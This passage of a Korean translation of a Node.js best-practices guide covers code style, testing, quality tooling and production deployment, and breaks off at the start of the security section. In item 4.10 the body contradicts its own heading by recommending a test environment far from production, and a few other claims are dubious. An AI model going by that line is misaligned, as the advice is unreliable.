포함된 이름을 사용하되 이름을 짧게 유지하도록 해라.\n\n**그렇게 하지 않을 경우:** 자바스크립트는 먼저 인스턴스로 만들지 않고 직접 생성자(\"Class\")를 호출할 수 있는 세계 유일의 언어이다. 그러므로 클래스와 함수생성자는 UpperCamelCase를 통해 구분된다.\n\n### 코드예제\n\n```javascript\n// 클래스명은 UpperCamelCase 사용\nclass SomeClassExample {}\n\n// 상수명은 const 키워드와 lowerCamelCase 사용\nconst config = {\n  key: \"value\",\n};\n\n// 변수와 함수 이름은 lowerCamelCase 사용\nlet someVariableExample = \"value\";\nfunction doSomething() {}\n```\n\n<br/><br/>\n\n## ![✔] 3.7 let보다는 const를 사용하라. var는 개나 줘라\n\n**핵심요약:** `const`를 사용한다는 것은 변수에 한번 값이 할당되면 다시 할당할 수 없다는 것을 의미한다. `const`를 선호하는 것은 같은 변수를 다른 용도로 사용하는 것을 방지하고 당신의 코드를 더 깔끔하게 만드는데 도움을 준다. for 루프처럼 변수가 재할당 되어야 할 필요가 있으면 `let`을 사용하여 선언하라. `let`의 또 다른 중요한 부분은 선언된 변수를 사용하는 것이 변수가 정의된 블록범위(block scope) 안에서만 가능하다는 것이다. `var`는 블록범위가 아니라 함수범위(function scope)이며 이제 대신할 수 있는 const와 let이 있으므로 [ES6에서는 사용하면 안된다](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70).\n\n**그렇게 하지 않을 경우:** 자주 변경되는 변수를 따라가려면 디버깅이 훨씬 더 번거로워 진다.\n\n🔗 [**자세히 보기: JavaScript ES6+: var 혹은 let 혹은 const?**](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\n\n<br/><br/>\n\n## ![✔] 3.8 require는 맨 처음에 오게하고 함수 안에서의 사용은 피하라\n\n**핵심요약:** 모듈을 각 파일의 시작이나 모든 함수의 앞부분 혹은 밖에서 require하라. 이 간단한 모범사례는 파일의 의존성을 맨 위에서 쉽고 빠르게 구분 할수 있게 해줄 뿐만 아니라 여러 잠재적인 문제를 피하게 해준다.\n\n**그렇게 하지 않을 경우:** require는 Node.js에서 동기로 실행된다. 함수 안에서 호출되면 다른 요청들을 더 중요한 시간에 처리되지 못하도록 막을 수 있다. 또한 require된 모듈이나 그것의 의존 모듈이 에러를 뱉거나 서버를 다운시키면, 함수 안에서 그 모듈이 require된 것이 아닌지 가능한 아주 빠르게 찾아야 할 것이다.\n\n<br/><br/>\n\n## ![✔] 3.9 파일 대신 폴더를 require 해라\n\n**핵심요약:** 폴더 안에서 모듈/라이브러리를 개발할 때, 모든 소비자가 내부를 노출하는 index.js 파일을 거치도록 해라. 이것은 모듈의 '인터페이스'역할을 하며 계약을 위반하지 않으면서 미래의 변경사항에 대해 유연하게 대처하도록 해준다.\n\n**그렇게 하지 않을 경우:** 파일 내부의 구조 혹은 서명을 변경하면 클라이언트와의 인터페이스가 손상될 수 있다.\n\n### 3.9 코드 예제\n\n```javascript\n// 좋은 예\nmodule.exports.SMSProvider = require(\"./SMSProvider\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver\");\n\n// 나쁜 예\nmodule.exports.SMSProvider = require(\"./SMSProvider/SMSProvider.js\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver/SMSNumberResolver.js\");\n```\n\n<br/><br/>\n\n## ![✔] 3.10 `===` 연산자를 사용하라\n\n**핵심요약:** 약하고 추상적인 같음연산자 `==` 보다 엄격한 항등연산자 `===`를 선호한다. `==`는 두 변수를 공용 타입으로 변환한 후에 비교한다. `===`에는 타입 변환이 없고 두 변수가 같으려면 타입도 같아야 한다.\n\n**그렇게 하지 않을 경우:** `==`으로 비교하는 경우 같지 않은 변수가 true로 반환 될 수있다.\n\n### 3.10 코드 예제\n\n```javascript\n\"\" == \"0\"; // false\n0 == \"\"; // true\n0 == \"0\"; // true\n\nfalse == \"false\"; // false\nfalse == \"0\"; // true\n\nfalse == undefined; // false\nfalse == null; // false\nnull == undefined; // true\n\n\" \\t\\r\\n \" == 0; // true\n```\n\n위의 모든 문장은 `===`를 사용했다면 false를 반환 했을것이다.\n\n<br/><br/>\n\n## ![✔] 3.11 async-await을 사용하고 콜백을 피하라\n\n**핵심요약:** Node 8의 LTS 버전은 현재 async-await을 완전히 지원한다. 이것은 콜백과 promise를 대체하여 비동기 코드를 다루는 새로운 방법이다. async-await은 비차단적(non-blocking)이고 비동기 코드를 동기 코드처럼 보이게 만든다. 당신의 코드에게 줄수 있는 최고의 선물은 try-catch와 같은 더 작고 친숙한 코드 구문을 제공하는 async-await을 사용하는 것이다.\n\n**그렇게 하지 않을 경우:** 콜백 스타일로 비동기 에러를 처리하는 것은 아마도 지옥으로 가는 가장 빠른 방법일것이다. 이런 스타일은 에러를 전부 확인하게 하고 어색한 코드 중첩을 다루게하며 코드 흐름을 추론하기 어렵게 만든다.\n\n🔗[**자세히 보기: async-await 1.0 가이드**](https://github.com/yortus/asyncawait)\n\n<br/><br/>\n\n## ![✔] 3.12 두꺼운(=>) 화살표 함수를 사용하라\n\n**핵심요약:** async-await을 사용하고 함수 인자를 사용하는 것을 피하는 것이 권장되지만 promise와 콜백을 받는 예전 API를 다룰 때는 화살표 함수가 코드 구조를 더 작게해주고 루트 함수의 어휘적 맥락(lexical context)을 유지시켜 준다. (`this`라던가)\n\n**그렇게 하지 않을 경우:** (ES5의 함수 내의) 긴 코드는 버그에 취약하고 읽기도 번거롭다.\n\n🔗 [**Read mode: 화살표 함수를 받아들일 시간이다**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#목차\">⬆ 목차로 돌아가기</a></p>\n\n# `4. 테스트 및 전체 품질 관리`\n\n## ![✔] 4.1 다른건 못해도 최소한 API (컴포넌트) 테스트는 써라\n\n**핵심요약:** 대부분의 프로젝트는 짧은 일정으로 인해 자동화 된 테스트가 없거나 후일 통제를 벗어난 이른바 \"시험용 프로젝트\" 라는 이유로 버려진다. 그러므로, 쓰기에도 제일 쉽고 유닛 테스트보다 더 넓게 커버할 수 있는 API 테스트를 우선으로 시작해라. ([포스트맨](https://www.getpostman.com/) 같은 도구를 이용하지 않고도 API 테스트를 쓸 수 있다.) 나중에 시간과 자원이 더 나면 그때 유닛테스트, DB 테스트, 성능 테스트 등의 좀 더 발전된 테스트 종류를 계속 더해라.\n\n**그렇게 하지 않을 경우:** 유닛 테스트 쓰는데 시간을 몇 날 며칠을 쓰고선 시스템 커버리지가 20% 밖에 안된다는걸 깨닫게 될 수 있다.\n\n<br/><br/>\n\n## ![✔] 4.2 테스트 이름에 이 3가지를 포함해라\n\n**핵심요약:** 코드 내부에 익숙하지 않은 QA 엔지니어들과 개발자들에게 따로 설명이 필요 없도록 requirement 계층에서 이미 자명하도록 해라. 무엇을 (unit under test), 어떤 환경에서, 어떤 결과를 예상하고 테스트 하는 것인지 테스트 이름에 명시해라.\n\n**그렇게 하지 않을 경우:** 배포에 실패하였습니다, “프로덕트 추가” 라는 테스트가 실패했습니다. 이런 메시지를 보고 정확히 뭐가 잘못되었는지 알 수 있는가?\n\n🔗 [**자세히 보기: Include 3 parts in each test name**](./sections/testingandquality/3-parts-in-name.md)\n\n<br/><br/>\n\n## ![✔] 4.3 AAA 패턴을 따라 테스트를 구축해라\n\n**핵심요약:** 테스트를 다음 세가지 부분으로 명확히 나누어라: 준비 (arrange), 실행 (act), 표명 (assert). 제일 먼저 테스트를 준비하고, 그 다음 테스트 단위(unit under test)를 실행하고, 마지막은 확인 단계다. 이 구조를 따르는 것은 읽는이가 힘들여 머리를 쓰지 않고도 테스트 설계를 이해할 수 있도록 보장한다.\n\n**그렇게 하지 않을 경우:** 매일 하루종일 주요 코드를 읽는데 시간을 오래 쓰는 것도 모자라 간단해야하는 테스트 부분에도 열심히 머리를 써야 할 것이다.\n\n🔗 [**Read More: Structure tests by the AAA pattern**](./sections/testingandquality/aaa.md)\n\n<br/><br/>\n\n## ![✔] 4.4 린터를 사용해서 코드의 문제점을 찾아내라\n\n**핵심요약:** 코드 린터를 사용해서 기본적인 품질을 확인하고 안티패턴을 초기에 찾아내라. 테스트 하기도 전에 먼저 돌리고, pre-commit git-hook으로 추가해서 문제를 검토하고 정정하는 시간을 최소화해라. [3문단](#3-코드-스타일)의 코드 스타일 관례들도 확인해라.\n\n**그렇게 하지 않을 경우:** 안티패턴과 취약한 코드가 상용환경에 넘어갈 수도 있다.\n\n<br/><br/>\n\n## ![✔] 4.5 고정적인 공용 테스트 데이터나 seeds는 피하고, 테스트별로 데이타를 붙여라\n\n**핵심요약:** 테스트간의 간섭과 결합도(coupling)를 최소화하고 테스트 흐름을 추론하기 쉽도록 테스트들은 각자 자신만의 DB 행 (row) 집합을 만들어 써야 한다. 테스트가 DB 데이터를 가져오거나 데이터가 존재한다고 간주해야 할 때마다 다른 레코드를 변형시키지 않도록 그 데이터를 직접 추가하여야 한다.\n\n**그렇게 하지 않을 경우:** 실패하는 테스트때문에 전개(deployment)가 중단되었다고 가정해 보자. 이제 팀원들은 소중한 시간을 조사하는데 소모한 뒤 슬픈 결론을 내릴 것이다: 시스템은 잘 작동하지만, 테스트간의 상호 간섭으로 빌드 실패.\n\n🔗 [**자세히 보기: Avoid global test fixtures**](./sections/testingandquality/avoid-global-test-fixture.md)\n\n<br/><br/>\n\n## ![✔] 4.6 끊임없이 취약한 dependency를 점검해라\n\n**핵심요약:** Express같은 네임드 dependency도 알려진 취약점이 있다. 이건CI에서 매 빌드마다 호출할 수 있는 🔗 [npm audit](https://docs.npmjs.com/cli/audit)나 🔗 [snyk.io](https://snyk.io)같은 커뮤니티 혹은 상업용 도구를 사용하면 쉽게 해결할 수 있다.\n\n**그렇게 하지 않을 경우:** 전용 도구없이 코드를 취약점 없이 깨끗하게 유지하려면 온라인 출판물들을 항상 유심히 찾아읽어야 한다. 한마디로 노가다.\n\n<br/><br/>\n\n## ![✔] 4.7 테스트를 태그하라 (#테스트)\n\n**핵심요약:** 다른 종류의 테스트는 서로 다른 시나리오를 바탕으로 실행해야한다: 빌드 성공유무 테스트(quick smoke)나 IO 입출력이 없는 테스트는 개발자가 파일을 저장하거나 commit 할 때마다 실행하고, 더 포괄적인 단대단 (end-to-end) 테스트는 보통 풀리퀘스트를 제출 할 때마다 실행한다. 이건 테스트를 #cold #api #sanity 와 같은 키워드로 태그해서 원하는 테스트들만 부분적으로 grep 으로 test harness를 검색해서 실행하면 된다. 예를 들면, [모카](https://mochajs.org/)에서 sanity 테스트 그룹만 실행하고 싶다면 이렇게 하면 된다: mocha --grep 'sanity'\n\n**그렇게 하지 않을 경우:** 개발자가 조금씩 코드를 바꿀때마다 DB 쿼리를 한다스씩 보내는 테스트까지 포함해서 전부 실행하면 개발 속도도 느려지고 개발자들도 점점 테스트를 실행하는걸 꺼리게 된다\n\n<br/><br/>\n\n## ![✔] 4.8 테스트 범위를 확인하여 안좋은 테스트 패턴을 잡아내라\n\n**핵심요약:** [이스탄불](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc)같은 코드 커버리지 도구가 좋은 이유는 세가지가 있다: 무료이고 (거져먹는거다), 테스트 범위가 줄어드는것을 잡아내주고, 마지막으로 테스트 부조화를 하이라이트한다: 색으로 나타낸 코드 커버리지 리포트를 보다보면 catch 절 같이 테스트 하지 않는 부분들을 알아채기 시작할것이다. (테스트는 보통 경로만 테스트하기에 앱이 에러가 날 경우에는 어떻게 반응하는지는...) 커버리지가 일정 기준 이하로 떨어지면 빌드가 자동으로 실패하게 해라.\n\n**그렇게 하지 않을 경우:** 코드의 상당한 범위가 테스트로 커버되지 않더라도 자동으로 측정되지 않으니 알 길이 없다.\n\n<br/><br/>\n\n## ![✔] 4.9 오래되어 뒤떨어진 패키지는 없는지 검사해라\n\n**핵심요약:** 설치된 패키지중 outdated 된 패키지는 없는지 선호하는 도구 (예: 'npm outdated'나 [npm-check-updates](https://www.npmjs.com/package/npm-check-updates))를 써서 확인하고, 심할 경우 빌드가 실패하도록 CI 경로에 이 체크를 주입해라. 이를테면 설치된 패키지가 패치 commit 5개 이상 뒤쳐졌거나 (예: 로컬은 1.3.1버젼인데 repository 버젼은 1.3.8이라던가) 제작자가 deprecated 되었다고 태그하면 빌드를 죽이고 이 버젼을 배포하지 못하게 막아라.\n\n**그렇게 하지 않을 경우:** 제작자가 직접 불안정하다고 태그한 패키지가 프로덕션에서 놀아날 수 있다\n\n<br/><br/>\n\n## ![✔] 4.10 프로덕션과 비슷한 환경에서 e2e 테스트를 실행해라\n\n**핵심요약:** 실제 데이터를 쓰는 end to end 테스트는 DB같은 여러 묵직한 서비스에 의존하기에 CI 프로세스의 취약점이었다. 가능한 한 프로덕션과는 최대한 동떨어진 환경을 써라.\n\n**그렇게 하지 않을 경우:** docker-compose 없이는 팀들이 테스트 환경별로 (각 개발자의 컴퓨터 포함) 테스트 DB를 유지하고, 환경에 따라 테스트 결과가 다르게 나오지 않도록 이 모든 DB들을 동기화해야한다.\n\n<br/><br/>\n\n## ![✔] 4.11 정적분석도구를 이용해서 refactor를 정기적으로 해라\n\n**핵심요약:** 정적분석도구(static analysis tool)는 코드의 품질을 객관적으로 개선하고 코드 유지를 쉽게 해준다. 코드스멜을 감지하면 CI 빌드가 실패하도록 정적분석도구를 넣어주면 된다. 이게 단순한 린보팅다 나은 주된 이유로는 여러 파일에 걸친 맥락에서 품질을 점검할 수 있다는 점 (예: 중복된 코드 감지), 더 발달된 분석을 할 수 있다는 점 (예: 코드 복잡도), 코드 문제의 전적과 진전을 따라 볼 수 있다는 점이 있다. 쓸만한 도구의 예를 두가지를 들자면 [Sonarqube](https://www.sonarqube.org/) (2,600+ [stars](https://github.com/SonarSource/sonarqube)) 와 [Code Climate](https://codeclimate.com/) (1,500+ [stars](https://github.com/codeclimate/codeclimate))가 있다.\n\n**그렇게 하지 않을 경우:** 아무리 반짝이는 새로나온 라이브러리나 최첨단 기능을 써봤자 코드 품질이 불량하면 버그와 성능은 못고친다\n\n🔗 [**자세히 보기: Refactoring!**](./sections/testingandquality/refactoring.md)\n\n<br/><br/>\n\n## ![✔] 4.12 CI 플랫폼은 신중하게 선택해라 (Jenkins vs CircleCI vs Travis vs 나머지)\n\n**핵심요약:** 지속적 통합 플랫폼(CICD)은 품질 관리 도구(예: 테스트, 린트)들을 돌릴 수 있게 플러그인 생태계가 활발해야 한다. 예전에는 대부분의 프로젝트들이 배우기는 어려워도 커뮤니티도 제일 크고 강력한 플랫폼을 가진 [Jenkins](https://jenkins.io/)를 기본으로 썼다. 요즘엔 [CircleCI](https://circleci.com)등의 SaaS 해결책을 쓰는게 훨씬 더 쉬워졌다. 이런 도구들은 인프라 전체를 관리하는 부담 없이도 유연한 CI 경로를 만들 수 있게 해준다. 결국에는 안전성과 빠름의 상호 절충이다 - 조심해서 선택해라.\n\n**그렇게 하지 않을 경우:** 잘 알려지지 않은 중소 솔루션 업체를 쓰다간 흔치 않은 고급 설정을 커스터마이징 해야할 때 막혀버릴 수도 있다. 하지만 반대로, Jenkins를 택하면 인프라를 수축하는데 소중한 시간을 다 빼앗길 수도 있다.\n\n🔗 [**자세히 보기: Choosing CI platform**](./sections/testingandquality/citools.korean.md)\n\n## ![✔] 4.13 미들웨어들은 격리시켜 테스트해라\n\n**핵심요약:** 여러 요청에 걸친 막대한 로직을 미들웨어가 수용하는 경우, 웹 프레임워크 전체를 깨우지 않고 격리 상태로 테스트 할만한 가치가 있다. {req, res, next} 객체들을 스텁(stub)하여 염탐(spy)하면 쉽게 달성할 수 있다.\n\n**그렇게 하지 않을 경우:** Express 미들웨어의 버그 === 거의 모든 요청의 버그\n\n🔗 [**자세히 보기: Test middlewares in isolation**](./sections/testingandquality/test-middlewares.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#목차\">⬆ 목차로 돌아가기</a></p>\n\n# `5. 운영환경으로 전환하기`\n\n## ![✔] 5.1. 모니터링\n\n**핵심요약:** 모니터링은 고객이 문제를 발견하기 전에 먼저 발견하는 게임이다. 모니터링에는 분명히 전례가없는 중요성을 부여해야한다. 솔루션에 너무 많은 기능들이 들어가 있을 가능성이 있으므로 확인해야만하는 기본 항목을 내부적으로 정의하고 나서 추가적인 기능들을 살펴보고 필요한 기능들이 모두 들어있는 솔루션을 선택하라. 아래의 'gist'를 클릭하면 솔루션 개요를 볼 수 있다\n\n**그렇게 하지 않을 경우:** 오류 === 고객의 실망. 간단하다\n\n🔗 [**자세히 보기: 모니터링!**](./sections/production/monitoring.md)\n\n<br/><br/>\n\n## ![✔] 5.2. 스마트 로깅으로 투명성을 높여라\n\n**핵심요약:** 로그는 디버그 텍스트가 모여있는 의미없는 창고일 수도 있고, 앱의 상태를 대시보드로 볼 수 있도록 만들어 줄 수 있는 유용한 데이터일 수도 있다. 원하는 정보 (예: 오류율, 트랜잭션이 서비스와 서버를 거치는 경로를 따라가기, 기타등등)를 쉽게 추출 할 수 있도록 로그를 어떻게 수집, 저장 및 분석하는지 첫날부터 미리 계획해라.\n\n**그렇게 하지 않을 경우:** 이해하기 힘든 블랙박스가 되어버려서 필요한 정보를 추가하기 위해 모든 로그를 다시 작성하게 될것이다\n\n🔗 [**자세히 보기: Increase transparency using smart logging**](./sections/production/smartlogging.md)\n\n<br/><br/>\n\n## ![✔] 5.3. 가능한 모든 것들(예: gzip, SSL)을 reverse proxy에 위임하라\n\n**핵심요약:** Node는 gzip이나 SSL Termination과 같이 CPU 집약적인 작업에 약하다. 이런게 필요할 경우 '실제' 미들웨어 서비스인 nginx, HAproxy 혹은 클라우드 서비스를 사용해야한다\n\n**그렇게 하지 않을 경우:** 불쌍한 싱글 스레드가 어플리케이션의 코어를 처리하는 대신 인프라 작업을 수행하느라 바빠져서 성능이 저하될 것이다\n\n🔗 [**자세히 보기: 가능한 모든 것들(예: gzip, SSL)을 reverse proxy에 위임하라**](./sections/production/delegatetoproxy.md)\n\n<br/><br/>\n\n## ![✔] 5.4. 의존성을 잠궈라(Lock dependencies)\n\n**핵심요약:** 코드는 모든 환경에서 동일해야하지만 놀랍게도 npm을 사용하면 기본적으로 환경간에 종속성이 달라질 수 있는데, 다양한 환경에서 패키지를 설치하면 패키지의 최신 패치 버전을 가져오기 때문이다. npm config 파일인 .npmrc를 사용하여이 문제를 극복해라. 각 환경에 각 패키지의 최신 버전이 아닌 정확한 버전을 저장하도록 알려준다. 또는 세밀하게 제어하려면 `npm shrinkwrap`을 사용하라. \\* 업데이트 : NPM5부터는 종속성이 기본적으로 잠겨 있다. 새로운 패키지 관리자인 Yarn도 기본적으로 잠겨 있다.\n\n**그렇게 하지 않을 경우:** QA팀은 코드를 철저히 테스트 했음에도 테스트 환경과는 다르게 작동하는 버전을 승인할 것이다. 심지어 같은 프로덕션 클러스터의 여러 서버가 서로 다른 코드를 실행할 수도 있다.\n\n🔗 [**자세히 보기: Lock dependencies**](./sections/production/lockdependencies.md)\n\n<br/><br/>\n\n## ![✔] 5.5. 올바른 도구를 이용해 프로세스 가동시간을 사수해라\n\n**핵심요약:** 프로세스는 계속 진행되어야 하며 실패시 다시 시작해야한다. 간단한 시나리오의 경우 PM2와 같은 프로세스 관리 도구로도 충분하지만 오늘날 '도커화 된' 세계에서는 클러스터 관리 도구도 고려해야한다\n\n**그렇게 하지 않을 경우:** 명확한 전략없이 수십 개의 인스턴스와 너무 많은 도구 (클러스터 관리, 도커, PM2)를 실행하면 데브옵스가 혼란을 겪을 수 있다\n\n🔗 [**자세히 보기: Guard process uptime using the right tool**](./sections/production/guardprocess.md)\n\n<br/><br/>\n\n## ![✔] 5.6. 모든 CPU를 활용하라\n\n**핵심요약:** 기본적으로 Node 어플리케이션은 하나의 CPU 코어에서 실행되고 다른 CPU는 동작하지 않는다. 노드 프로세스를 복제하여 모든 CPU를 활용하는 것은 당신의 몫이다. 중소형 어플리케이션의 경우 노드 클러스터 또는 PM2를 사용하면 된다. 더 큰 앱의 경우 Docker 클러스터(예: K8S, ECS) 또는 Linux 초기화 시스템(예: systemd)을 기반으로하는 배포 스크립트를 사용하여 프로세스를 복제하는 것이 좋다\n\n**그렇게 하지 않을 경우:** 앱이 사용 가능한 리소스 중 25%(!)에도 못 미치게 활용할 것이다. 일반적인 서버는 CPU 코어가 4개 이상임에도 Node를 기본형으로 배포하면 그 중 단 1 개만 사용하게 될것이다 (AWS beanstalk과 같은 PaaS 서비스 사용해도 마찬가지)\n\n🔗 [**자세히 보기: 모든 CPU를 활용하라**](./sections/production/utilizecpu.md)\n\n<br/><br/>\n\n## ![✔] 5.7. ‘유지 관리용 엔드 포인트’를 따로 만들어라\n\n**핵심요약:** 보안적으로 안전한 API에서 메모리 사용 및 REPL 등과 같은 시스템 관련 정보를 노출하라. 표준 및 실전 테스트(battle-tests) 도구를 사용하는 것이 좋기는 하지만 몇몇 유용한 정보와 작업은 코드를 통해 쉽게 수행 할 수 있다\n\n**그렇게 하지 않을 경우:** 단지 서버 진단을 목적으로 일부 정보를 추출하기 위하여 상용서버에 코드를 배포하는 \"진단용 배포\"를 자주 수행하고 있게 될 것이다\n\n🔗 [**자세히 보기: Create a ‘maintenance endpoint’**](./sections/production/createmaintenanceendpoint.md)\n\n<br/><br/>\n\n## ![✔] 5.8. APM을 사용하여 오류 및 가동 중지 시간을 발견하라\n\n**핵심요약:** 어플리케이션 성능 관리 제품(Application Performance Management, APM)은 코드베이스 및 API를 사전에 측정하여 기존 모니터링 시스템을 뛰어 넘어 서비스 및 계층 전반에서 사용자 경험을 측정한다. 예를 들어 일부 APM 제품은 최종 사용자 측면에서 느리게 로드되는 트랜잭션을 강조 표시 하면서 근본 원인을 제시할 수 있다\n\n**그렇게 하지 않을 경우:** API 성능 및 가동 중지 시간을 측정하는 데 많은 노력을 기울임에도 실전에서 가장 느린 코드 부분이 어느것인지, 그리고 이것이 UX에 미치는 영향을 알지 못할 것이다\n\n🔗 [**자세히 보기: Discover errors and downtime using APM products**](./sections/production/apmproducts.md)\n\n<br/><br/>\n\n## ![✔] 5.9. 당신의 코드는 언제든 상용에 배포될수 있다\n\n**핵심요약:** 첫날부터 끝을 염두에두고 코드를 작성하라. 다소 모호하게 들릴것 같아서 상용 유지 보수와 밀접하게 관련된 몇 가지 개발 팁을 편찬해 두었다 (아래의 gist를 클릭하라)\n\n**그렇게 하지 않을 경우:** 세계 최고의 IT/DevOps 전문가도 형편없이 쓰여진 코드로 이루어진 시스템은 구하지 못한다\n\n🔗 [**자세히 보기: Make your code production-ready**](./sections/production/productioncode.md)\n\n<br/><br/>\n\n## ![✔] 5.10. 메모리 사용량을 측정하고 보호해라\n\n**핵심요약:** Node.js는 메모리와 관련하여 논란의 여지가 있다: v8 엔진은 메모리 사용량 (1.4GB)에 대한 제한이 있으며 노드의 코드에서 메모리 누수가 발생하는 알려진 방법이 존재하므로 노드의 프로세스 메모리를 관찰하는 것이 필수적이다. 작은 응용 프로그램에서는 Shell 명령을 사용하여 주기적으로 메모리를 측정 할 수 있지만 중대형 어플리케이션에서는 강력한 모니터링 시스템을 통해 메모리를 감시하는 것을 고려하라\n\n**그렇게 하지 않을 경우:** [월마트](https://www.joyent.com/blog/walmart-node-js-memory-leak)에서 일어났던 것처럼 메모리가 하루에 수백 메가바이트씩 누수 될 수 있다\n\n🔗 [**자세히 보기: 메모리 사용량 측정 및 보호**](./sections/production/measurememory.md)\n\n<br/><br/>\n\n## ![✔] 5.11. Node.js에서 프론트 엔드 자산을 빼라\n\n**핵심요약:** Node는 단일 스레드 모델을 쓰기 때문에 정적 파일을 많이 처리하게 되면 성능이 많이 저하되기 때문에 전용 미들웨어(nginx, S3, CDN 등)를 사용하여 프론트 엔드 컨텐츠를 제공하는게 좋다\n\n**그렇게 하지 않을 경우:** 단일 노드 스레드는 수백 개의 html/이미지/angular/react 파일을 스트리밍 하느라 바빠서 정작 천직인 동적 컨텐츠를 전달하는 작업에는 신경쓸 겨를이 없을것이다.\n\n🔗 [**자세히 보기: Get your frontend assets out of Node**](./sections/production/frontendout.md)\n\n<br/><br/>\n\n## ![✔] 5.12. 무상태(stateless)로 운영하고, 거의 매일 서버를 재부팅하라\n\n**핵심요약:** 어떤 유형의 데이터(예: 유저 세션, 캐시, 업로드된 파일)든 외부 데이터 저장소에 저장하라. 서버를 주기적으로 재부팅/교체하는 것을 고려하거나 명시적으로 무상태로 운영하게 만드는 Serverless 플랫폼(예: AWS Lambda)을 사용하는 것을 고려하라\n\n**그렇게 하지 않을 경우:** 해당서버에 오류가 발생하면 해당 서버만 제거하면 되는 것이 아니라 어플리케이션의 다운타임이 발생하게된다. 게다가 특정 서버에 의존하기 때문에 수평적 확장이 힘들어질 것이다\n\n🔗 [**자세히 보기: Be stateless, kill your Servers almost every day**](./sections/production/bestateless.md)\n\n<br/><br/>\n\n## ![✔] 5.13. 취약점을 자동으로 탐지하는 도구를 사용해라\n\n**핵심요약:** Express와 같은 가장 신뢰할만한 모듈조차도 시스템을 위험에 빠뜨릴 수있는 알려진 취약점이 존재한다. 이는 취약성을 지속적으로 (로컬 또는 GitHub에서) 확인하고 경고하는 커뮤니티 및 상용 도구를 사용하면 쉽게 길들일 수 있으며 일부는 즉시 패치 할 수도 있다\n\n**그렇게 하지 않을 경우:** 전용 도구없이 취약점으로부터 코드를 깨끗하게 유지하려면 새로운 취약점에 대한 데이터를 지속적으로 확인해야 할것이다\n\n🔗 [**자세히 보기: Use tools that automatically detect vulnerabilities**](./sections/production/detectvulnerabilities.md)\n\n<br/><br/>\n\n## ![✔] 5.14. 로깅을 할때 트랜잭션 ID를 할당하라\n\n**핵심요약:** 하나의 요청 내에서 각 로그에 동일한 식별자(transaction-id: {some value})를 할당하라. 그렇게하면 로그를 분석할때 에러 전과 후에 어떤 일이 생겼는지 쉽게 알수있다. 비동기적인 특성때문에 Node.js에서 구현하기 쉽지는 않다. 아래의 예제를 확인하라\n\n**그렇게 하지 않을 경우:** 이전에 어떤일이 일어났는지에 대한 컨텍스트 없이 에러 로그를 확인하는 것은 문제를 해결하는 것을 더 어렵고 느리게 만든다\n\n🔗 [**자세히 보기: Assign ‘TransactionId’ to each log statement**](./sections/production/assigntransactionid.md)\n\n<br/><br/>\n\n## ![✔] 5.15. `NODE_ENV=production`로 설정하라\n\n**핵심요약:** 상용 최적화가 활성화 되어야하는지 아닌지를 표시하기 위해 `NODE_ENV`를 'production' 혹은 'development'로 설정하라. 많은 npm 패키지가 현재 환경을 확인하고 최적화한다\n\n**그렇게 하지 않을 경우:** 이 단순한 속성을 빠뜨리면 성능이 크게 저하된다. 예를 들어 Express에서 서버 사이드 렌더링(Server Side Rendering, SSP)을 사용할때 `NODE_ENV`를 빠뜨리면 3배 느려진다\n\n🔗 [**자세히 보기: Set NODE_ENV=production**](./sections/production/setnodeenv.md)\n\n<br/><br/>\n\n## ![✔] 5.16. 원자성의 자동화된 무중단 배포를 설계하라\n\n**핵심요약:** 연구 결과에 따르면 자주 배포를 하는 팀이 상용버전에서 심각한 에러가 발생할 가능성을 낮춘다고 한다. 위험이 따르는 수동적인 과정과 서비스 다운타임이 필요하지 않은 빠르고 자동화된 배포는 배포 프로세스를 크게 향상시킨다. 간소화된 배포의 표준이 된 Docker와 CI 도구를 결합하여 이를 달성할 수 있다.\n\n**그렇게 하지 않을 경우:** 오래걸리는 배포 작업 -> 상용버전 중지시간 및 사람에 의한 에러 -> 배포를 하는 것에 자신감이 없어진 팀 -> 더 적은 배포와 기능들\n\n<br/><br/>\n\n## ![✔] 5.17. Node.js의 LTS 릴리즈 버전을 사용해라\n\n**핵심요약:** LTS 버전의 Node.js를 사용하여 중요한 버그 수정, 보안 업데이트 및 성능 향상을 받아라\n\n**그렇게 하지 않을 경우:** 새로 발견된 버그나 취약점이 상용에서 운영중인 어플리케이션을 악용하는데 사용될 수 있으며, 다양한 모듈들에서 지원을 하지 않게 되고 유지보수하는 것이 힘들어 지게될것이다\n\n🔗 [**자세히 보기: Use an LTS release of Node.js**](./sections/production/LTSrelease.md)\n\n<br/><br/>\n\n## ![✔] 5.18. 앱 내에서 로그를 라우팅하지 말라\n\n**핵심요약:** 로그의 목적지는 개발자가 어플리케이션 코드에 하드코딩해서는 안되고, 대신 프로그램이 실행되는 실행환경에서 정의되어야 한다. 개발자는 로거 유틸리티를 이용하여 로그를 `stdout`에 작성하고 상용환경(컨테이너, 서버 등)이 해당 `stdout`스트림을 적절한 목적지(즉 Splunk, Graylog, ElasticSearch 등)로 수송해야한다\n\n**그렇게 하지 않을 경우:** 어플리케이션 로그 라우팅 처리 === 확장성 저하, 로그 유실, 관심사의 분리 실패(Separation of Concerns, SoC)\n\n🔗 [**자세히 보기: Log Routing**](./sections/production/logrouting.md)\n\n<br/><br/>\n\n## ![✔] 5.19. `npm ci`로 패키지를 설치해라\n\n**핵심요약** 상용환경에서 쓰는 코드가 테스트할떄 쓴 패키지 버젼과 동일하다는 것을 반드시 보장해야 한다. `npm ci`를 써서 의존하는 패키지를 모두 package.json과 package-lock.json만들 따른 클린설치를 해라.\n\n**그렇게 하지 않을 경우:** QA팀이 코드를 승인하기 전에 철저히 테스트해도 상용환경에서는 다르게 작동할것이다. 게다가 같은 프로덕션 클러스터의 다른 서버들이 서로 다른 코드를 실행할 수도 있다.\n\n🔗 [**자세히 보기: npm ci 쓰기**](./sections/production/installpackageswithnpmci.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#목차\">⬆ 목차로 돌아가기</a></p>\n\n# `6. 보안`\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"54 items\"/>\n</div>\n\n## ![✔] 6.1. linter 보안 규칙 